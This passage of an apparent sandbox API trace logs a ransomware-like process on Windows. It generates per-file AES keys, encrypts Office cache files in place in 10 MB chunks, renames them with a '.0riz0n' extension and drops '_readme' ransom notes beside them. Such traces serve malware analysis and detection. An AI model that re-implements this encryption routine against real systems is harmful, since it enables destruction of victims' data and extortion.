lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0178.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0178.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0178.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0178.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0178.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0178.200] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0x170fe40, dwHighDateTime=0x1d301bf)) returned 1 [0178.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0178.200] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0178.200] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0178.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0178.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0178.200] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0178.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0178.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0178.201] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0178.201] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0178.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4200) returned 0x1b68b78 [0178.201] ReadFile (in: hFile=0x1c0, lpBuffer=0x1b68b78, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b68b78*, lpNumberOfBytesRead=0x1a7fab0*=0x41d4, lpOverlapped=0x0) returned 1 [0178.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4200) returned 0x1b8d110 [0178.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b68b78) returned 1 [0178.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4200) returned 0x1b68b78 [0178.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0178.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b8d110) returned 1 [0178.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4600) returned 0x1b8d110 [0178.203] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1b8d110*, pdwDataLen=0x1a7faac*=0x41d4, dwBufLen=0x45d4 | out: pbData=0x1b8d110*, pdwDataLen=0x1a7faac*=0x41e0) returned 1 [0178.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b8d110) returned 1 [0178.203] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0178.203] WriteFile (in: hFile=0x1c0, lpBuffer=0x1b68b78*, nNumberOfBytesToWrite=0x41d4, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b68b78*, lpNumberOfBytesWritten=0x1a7fab0*=0x41d4, lpOverlapped=0x0) returned 1 [0178.203] FlushFileBuffers (hFile=0x1c0) returned 1 [0178.206] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0178.206] NtClose (Handle=0x1c0) returned 0x0 [0178.206] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.0riz0n")) returned 1 [0178.207] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0178.207] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0178.207] GetLastError () returned 0x2 [0178.207] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984848, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0178.207] GetLastError () returned 0x2 [0178.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0178.207] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0178.208] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0178.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0178.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0178.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cfe0 [0178.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1be3cf0) returned 1 [0178.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cfe0) returned 1 [0178.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2d1) returned 0x1b6cd80 [0178.208] WriteFile (in: hFile=0x1c0, lpBuffer=0x1b6cd80*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b6cd80*, lpNumberOfBytesWritten=0x1a7fab0*=0x2f1, lpOverlapped=0x0) returned 1 [0178.209] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x815dee50, dwHighDateTime=0x1d59598)) returned 1 [0178.209] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0178.209] NtClose (Handle=0x1c0) returned 0x0 [0178.209] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0178.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b6cd80) returned 1 [0178.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0178.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b68b78) returned 1 [0178.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0178.209] CryptDestroyKey (hKey=0x829d78) returned 1 [0178.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0178.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0178.209] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0178.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0178.209] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb)) returned 1 [0178.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0178.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0178.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0178.210] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0178.210] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0178.210] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0178.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0178.211] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb)) returned 1 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0178.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0178.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0178.211] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb)) returned 1 [0178.211] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0178.211] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0178.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0178.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0178.211] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0x1ffd0c0, dwHighDateTime=0x1d301bf)) returned 1 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0178.211] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0178.211] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0178.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0178.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0178.212] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0178.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0178.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0178.212] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0178.212] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0178.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0178.213] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0178.726] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0178.910] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0178.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0178.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0179.302] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0179.393] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0179.568] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0179.568] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0179.769] FlushFileBuffers (hFile=0x1c0) returned 1 [0180.100] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0180.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0180.101] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0180.649] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0180.947] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0180.996] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0181.084] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0181.181] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0181.181] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0181.313] FlushFileBuffers (hFile=0x1c0) returned 1 [0181.391] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1400000 [0181.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0181.391] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0181.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0182.258] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0182.400] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0183.131] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0183.415] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1400000 [0183.415] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0184.143] FlushFileBuffers (hFile=0x1c0) returned 1 [0185.262] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1e00000 [0185.262] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0185.263] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0186.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0186.523] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0186.646] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0186.757] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0186.991] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1e00000 [0186.992] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0187.463] FlushFileBuffers (hFile=0x1c0) returned 1 [0187.962] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x2800000 [0187.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0187.971] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0188.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0188.733] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0188.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0188.822] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0188.903] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x2800000 [0188.903] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0189.087] FlushFileBuffers (hFile=0x1c0) returned 1 [0189.118] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x3200000 [0189.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0189.119] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0189.568] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0189.722] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0189.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0189.811] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0189.890] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=52428800, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x3200000 [0189.890] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0190.007] FlushFileBuffers (hFile=0x1c0) returned 1 [0190.035] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x3c00000 [0190.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0190.043] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0190.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0190.674] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0190.721] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0190.761] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, 